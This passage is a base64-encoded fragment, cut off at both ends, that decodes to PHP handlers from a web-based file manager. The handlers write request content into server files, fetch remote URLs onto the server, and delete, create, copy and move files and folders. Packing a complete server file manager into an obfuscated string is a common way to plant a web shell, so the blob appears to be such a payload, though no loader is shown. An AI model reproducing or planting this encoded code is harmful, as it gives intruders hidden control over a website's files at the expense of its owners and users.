WxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydjb250ZW50J107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgJHdyaXRlX3Jlc3VsdHMgPSBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7XG4gICAgICAgIGZjbG9zZSgkZmQpO1xuICAgICAgICBpZiAoJHdyaXRlX3Jlc3VsdHMgPT09IGZhbHNlKSB7XG4gICAgICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvclwiKTtcbiAgICAgICAgICAgIGRpZShcIkNvdWxkIE5vdCBXcml0ZSBGaWxlISAtIENoZWNrIFBlcm1pc3Npb25zIFwvIE93bmVyc2hpcFwiKTtcbiAgICAgICAgfVxuICAgICAgICBkaWUodHJ1ZSk7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcImJhY2t1cFwiICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHtcbiAgICAgICAgJGZpbGVOYW1lID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2ZpbGUnXSk7XG4gICAgICAgICRmdWxsUGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLyc7XG4gICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7XG4gICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7XG4gICAgICAgICAgICAkZnVsbFBhdGggLj0gXCJ7JHJlbGF0aXZlRGlyUGF0aH1cL1wiO1xuICAgICAgICB9XG4gICAgICAgICRkYXRlID0gZGF0ZShcImRNeS1IaXNcIik7XG4gICAgICAgICRuZXdGaWxlTmFtZSA9IFwieyRmaWxlTmFtZX0teyRkYXRlfS5iYWtcIjtcbiAgICAgICAgJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUgPSAkZnVsbFBhdGggLiAkZmlsZU5hbWU7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmdWxseVF1YWxpZmllZEZpbGVOYW1lKSkge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJGaWxlIHskZmlsZU5hbWV9IG5vdCBmb3VuZFwiKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChjb3B5KCRmdWxseVF1YWxpZmllZEZpbGVOYW1lLCAkZnVsbFBhdGggLiAkbmV3RmlsZU5hbWUpKSB7XG4gICAgICAgICAgICAgICAgZWNobyBcIkJhY2t1cCB7JG5ld0ZpbGVOYW1lfSBjcmVhdGVkXCI7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJDb3VsZCBub3QgY29weSBmaWxlIHskZmlsZU5hbWV9XCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgIGVjaG8gJGUtPmdldE1lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJzZXR0aW5nc1wiKSB7XG4gICAgICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJHJlcG9ydF9lcnJvcnMsICRzaG93X2hpZGRlbl9maWxlcywgJGxhbmdfbGlzdCwgJGhpZGVfQ29scywgJHRoZW1lO1xuICAgICAgICAkbmV3TG5nID0gJF9QT1NUWydqcy1sYW5ndWFnZSddO1xuICAgICAgICBmbV9nZXRfdHJhbnNsYXRpb25zKFtdKTtcbiAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRuZXdMbmcsICRsYW5nX2xpc3QpKSB7XG4gICAgICAgICAgICAkbmV3TG5nID0gJ2VuJztcbiAgICAgICAgfVxuXG4gICAgICAgICRlcnAgPSBpc3NldCgkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddKSAmJiAkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gXCJ0cnVlXCIgPyB0cnVlIDogZmFsc2U7XG4gICAgICAgICRoY28gPSBpc3NldCgkX1BPU1RbJ2pzLWhpZGUtY29scyddKSAmJiAkX1BPU1RbJ2pzLWhpZGUtY29scyddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkdGUzID0gJF9QT1NUWydqcy10aGVtZS0zJ107XG5cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2xhbmcnXSAhPSAkbmV3TG5nKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydsYW5nJ10gPSAkbmV3TG5nO1xuICAgICAgICAgICAgJGxhbmcgPSAkbmV3TG5nO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSAhPSAkZXJwKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA9ICRlcnA7XG4gICAgICAgICAgICAkcmVwb3J0X2Vycm9ycyA9ICRlcnA7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gIT0gJHNoZikge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7XG4gICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHtcbiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmO1xuICAgICAgICAgICAgJHNob3dfaGlkZGVuX2ZpbGVzID0gJHNoZjtcbiAgICAgICAgfVxuICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gIT0gJGhjbykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gPSAkaGNvO1xuICAgICAgICAgICAgJGhpZGVfQ29scyA9ICRoY287XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3RoZW1lJ10gIT0gJHRlMykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsndGhlbWUnXSA9ICR0ZTM7XG4gICAgICAgICAgICAkdGhlbWUgPSAkdGUzO1xuICAgICAgICB9XG4gICAgICAgICRjZmctPnNhdmUoKTtcbiAgICAgICAgZWNobyB0cnVlO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJwd2RoYXNoXCIpIHtcbiAgICAgICAgJHJlcyA9IGlzc2V0KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgJiYgIWVtcHR5KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgPyBwYXNzd29yZF9oYXNoKCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSwgUEFTU1dPUkRfREVGQVVMVCkgOiAnJztcbiAgICAgICAgZWNobyAkcmVzO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJ1cGxvYWRcIiAmJiAhZW1wdHkoJF9SRVFVRVNUW1widXBsb2FkdXJsXCJdKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG5cbiAgICAgICAgZnVuY3Rpb24gZXZlbnRfY2FsbGJhY2soJG1lc3NhZ2UpXG4gICAgICAgIHtcbiAgICAgICAgICAgIGdsb2JhbCAkY2FsbGJhY2s7XG4gICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRtZXNzYWdlKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGZ1bmN0aW9uIGdldF9maWxlX3BhdGgoKVxuICAgICAgICB7XG4gICAgICAgICAgICBnbG9iYWwgJHBhdGgsICRmaWxlaW5mbywgJHRlbXBfZmlsZTtcbiAgICAgICAgICAgIHJldHVybiAkcGF0aCAuIFwiXC9cIiAuIGJhc2VuYW1lKCRmaWxlaW5mby0+bmFtZSk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXJsID0gIWVtcHR5KCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgJiYgcHJlZ19tYXRjaChcInxeaHR0cChzKT86XC9cLy4rJHxcIiwgc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkpID8gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgOiBudWxsO1xuXG4gICAgICAgICRkb21haW4gPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9IT1NUKTtcbiAgICAgICAgJHBvcnQgPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QT1JUKTtcbiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07XG5cbiAgICAgICAgaWYgKHByZWdfbWF0Y2goXCJcL15sb2NhbGhvc3QkfF4xMjcoPzpcXC5bMC05XSspezAsMn1cXC5bMC05XSskfF4oPzowKlxcOikqPzo/MCoxJFwvaVwiLCAkZG9tYWluKSB8fCBpbl9hcnJheSgkcG9ydCwgJGtub3duUG9ydHMpKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJVUkwgaXMgbm90IGFsbG93ZWRcIik7XG4gICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheShcImZhaWxcIiA9PiAkZXJyKSk7XG4gICAgICAgICAgICBleGl0KCk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXNlX2N1cmwgPSBmYWxzZTtcbiAgICAgICAgJHRlbXBfZmlsZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCBcInVwbG9hZC1cIik7XG4gICAgICAgICRmaWxlaW5mbyA9IG5ldyBzdGRDbGFzcygpO1xuICAgICAgICAkZmlsZWluZm8tPm5hbWUgPSB0cmltKHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSksIFwiLlxceDAwLi5cXHgyMFwiKTtcblxuICAgICAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlO1xuICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZWluZm8tPm5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlO1xuXG4gICAgICAgICRlcnIgPSBmYWxzZTtcblxuICAgICAgICBpZiAoISRpc0ZpbGVBbGxvd2VkKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZFwiKTtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZmFpbFwiID0+ICRlcnIpKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmICghJHVybCkge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTtcbiAgICAgICAgfSBlbHNlIGlmICgkdXNlX2N1cmwpIHtcbiAgICAgICAgICAgIEAkZnAgPSBmb3BlbigkdGVtcF9maWxlLCBcIndcIik7XG4gICAgICAgICAgICBAJGNoID0gY3VybF9pbml0KCR1cmwpO1xuICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PUFJPR1JFU1MsIGZhbHNlKTtcbiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7XG4gICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTtcbiAgICAgICAgICAgIEAkc3VjY2VzcyA9IGN1cmxfZXhlYygkY2gpO1xuICAgICAgICAgICAgJGN1cmxfaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO1xuICAgICAgICAgICAgaWYgKCEkc3VjY2Vzcykge1xuICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheShcIm1lc3NhZ2VcIiA9PiBjdXJsX2Vycm9yKCRjaCkpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGNoKTtcbiAgICAgICAgICAgIGZjbG9zZSgkZnApO1xuICAgICAgICAgICAgJGZpbGVpbmZvLT5zaXplID0gJGN1cmxfaW5mb1tcInNpemVfZG93bmxvYWRcIl07XG4gICAgICAgICAgICAkZmlsZWluZm8tPnR5cGUgPSAkY3VybF9pbmZvW1wiY29udGVudF90eXBlXCJdO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpO1xuICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTtcbiAgICAgICAgICAgIGlmICghJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgICAgICAkZXJyID0gZXJyb3JfZ2V0X2xhc3QoKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGlmICgkc3VjY2Vzcykge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSByZW5hbWUoJHRlbXBfZmlsZSwgc3RydG9rKGdldF9maWxlX3BhdGgoKSwgJz8nKSk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZG9uZVwiID0+ICRmaWxlaW5mbykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgdW5saW5rKCR0ZW1wX2ZpbGUpO1xuICAgICAgICAgICAgaWYgKCEkZXJyKSB7XG4gICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KFwibWVzc2FnZVwiID0+IFwiSW52YWxpZCB1cmwgcGFyYW1ldGVyXCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoXCJmYWlsXCIgPT4gJGVycikpO1xuICAgICAgICB9XG4gICAgfVxuICAgIGV4aXQoKTtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydkZWwnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkZGVsID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoJF9HRVRbJ2RlbCddKSk7XG4gICAgaWYgKCRkZWwgIT0gJycgJiYgJGRlbCAhPSAnLi4nICYmICRkZWwgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICAgICAgfVxuICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRkZWwpO1xuICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICdcLycgLiAkZGVsKSkge1xuICAgICAgICAgICAgJG1zZyA9ICRpc19kaXIgPyBsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKSA6IGxuZygnRmlsZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCdub3QgZGVsZXRlZCcpIDogbG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnbm90IGRlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGZpbGUgb3IgZm9sZGVyIG5hbWUnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ25ld2ZpbGVuYW1lJ10sICRfUE9TVFsnbmV3ZmlsZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgICR0eXBlID0gdXJsZGVjb2RlKCRfUE9TVFsnbmV3ZmlsZSddKTtcbiAgICAkbmV3ID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoc3RyaXBfdGFncygkX1BPU1RbJ25ld2ZpbGVuYW1lJ10pKSk7XG4gICAgaWYgKGZtX2lzdmFsaWRfZmlsZW5hbWUoJG5ldykgJiYgJG5ldyAhPSAnJyAmJiAkbmV3ICE9ICcuLicgJiYgJG5ldyAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdHlwZSA9PSBcImZpbGVcIikge1xuICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCAuICdcLycgLiAkbmV3KSkge1xuICAgICAgICAgICAgICAgIGlmIChmbV9pc192YWxpZF9leHQoJG5ldykpIHtcbiAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRwYXRoIC4gJ1wvJyAuICRuZXcsICd3Jykgb3IgZGllKCdDYW5ub3Qgb3BlbiBmaWxlOiAgJyAuICRuZXcpO1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSB0cnVlKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSAkcGF0aCAuICdcLycgLiAkbmV3KSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ25vdCBjcmVhdGVkJyksIGZtX2VuYygkbmV3KSksICdlcnJvcicpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSwgJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkY29weSA9IHVybGRlY29kZSgkX0dFVFsnY29weSddKTtcbiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpO1xuICAgIGlmICgkY29weSA9PSAnJykge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnU291cmNlIHBhdGggbm90IGRlZmluZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICAkZnJvbSA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkY29weTtcbiAgICAkZGVzdCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkZGVzdCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG4gICAgJGRlc3QgLj0gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKTtcbiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pO1xuICAgICRtb3ZlID0gZm1fY2xlYW5fcGF0aCh1cmxkZWNvZGUoJG1vdmUpKTtcbiAgICBpZiAoJGZyb20gIT0gJGRlc3QpIHtcbiAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJ1wvJyk7XG4gICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpO1xuICAgICAgICAgICAgaWYgKCRyZW5hbWUpIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdNb3ZlZCBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoJHJlbmFtZSA9PT0gbnVsbCkge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cycpLCAnYWxlcnQnKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQ29waWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBpZiAoISRtb3ZlKSB7XG4gICAgICAgICAgICAkbXNnX2Zyb20gPSB0cmltKEZNX1BBVEggLiAnXC8nIC4gYmFzZW5hbWUoJGZyb20pLCAnXC8nKTtcbiAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmcm9tKTtcbiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7XG4gICAgICAgICAgICBpZiAoIWlzX2RpcigkZnJvbSkpIHtcbiAgICAgICAgICAgICAgICAkZXh0ZW5zaW9uX3N1ZmZpeCA9ICcuJyAuICRmbl9wYXJ0c1snZXh0ZW5zaW9uJ107XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAkZm5fZHVwbGljYXRlID0gJGZuX3BhcnRzWydkaXJuYW1lJ10gLiAnXC8nIC4gJGZuX3BhcnRzWydmaWxlbmFtZSddIC4gJy0nIC4gZGF0ZSgnWW1kSGlzJykgLiAkZXh0ZW5zaW9uX3N1ZmZpeDtcbiAgICAgICAgICAgICRsb29wX2NvdW50ID0gMDtcbiAgICAgICAgICAgICRtYXhfbG9vcCA9IDEwMDA7XG4gICAgICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJGZuX2R1cGxpY2F0ZSkgJiAkbG9vcF9jb3VudCA8ICRtYXhfbG9vcCkge1xuICAgICAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmbl9kdXBsaWNhdGUpO1xuICAgICAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXSAuICdcLycgLiAkZm5fcGFydHNbJ2ZpbGVuYW1lJ10gLiAnLWNvcHknIC4gJGV4dGVuc2lvbl9zdWZmaXg7XG4gICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGZuX2R1cGxpY2F0ZSwgRmFsc2UpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3BpZWQgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJGZuX2R1cGxpY2F0ZSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8XC9iPiB0byA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCR